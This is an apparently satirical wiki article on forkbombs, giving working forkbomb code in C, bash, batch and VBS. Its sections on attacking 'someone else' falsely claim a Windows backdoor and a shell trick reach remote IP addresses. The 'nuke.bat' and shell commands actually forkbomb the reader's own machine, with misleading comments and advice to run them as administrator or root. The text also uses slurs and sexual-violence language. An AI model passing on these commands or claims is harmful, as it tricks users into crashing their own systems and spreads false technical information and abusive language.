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    A forkbomb is a program that creates over 9000 copies of itself, thus completely hosing whatever computer it's run on. Forkbombs are commonly discovered by bored Computer Science III students, usually with hilarious results. Forkbombs will completely fuck up a running system, but unless you managed to write it completely wrong, forkbombs don't do any lasting damage.

    How to forkbomb


    int main() { while(1) { fork(); } return 0; }


    fork while fork


    :(){ :|:& };:

    For Ubuntu, open the menu, go to accessories, hit terminal, and type this. then run away. or stick around.




    start %0
    goto :s


    goto A

    Visual Basic (VBS)

    DIM objShell
    set objShell = wscript.createObject("wscript.shell")
    iReturn = objShell.Run("CMD /C loop.vbs", background , True)

    How to forkbomb someone else

    A little-known backdoor in Windows lets you forkbomb anyone on the Internets who is running Windows with a few simple commands. Go on... you know they're asking for it. DO IT FAGGOT!

    How to Break Windows

    Here are the commands you need to run:

    if not exist REMOTE_IP set /p REMOTE_IP="Target plz? "
    %0|%0 %REMOTE_IP%
    goto O

    Cuntpaste that into Notepad, saving it as nuke.bat. Then double-click nuke.bat. Type the IP address of the poor sucker you're about to destroy, then watch as nuke.bat creates over 9000 processes on said sucker's machine.

    Note: For extra lulz, Vista users should run nuke.bat as administrator. Running the scripts as administrator causes your target's machine to die at least 100 times faster.

    A Mac is fine too

    Don't worry, Mac/Linux fans. Using the built-in connection features of your shell, you can also participate in the e-rape of people you hate. Just cuntpaste these three commands into a terminal:

    ulimit -u unlimited       # Remove any limits on sending packets
    export REMOTE_IP=  # Replace with the target IP
    _(){_|_&};_ $REMOTE_IP    # Open the connection and commence the rape

    Again, for maximum lulz, run the above from a root terminal (try running sudo su before the copypasta).

    Did you know?

    Forkbombs are one topic covered in Computer Science III, along with DDoSing ping, IP addresses, and other ways of being a 1337 hax0r.


    Forkbomb is part of a series on Programming.

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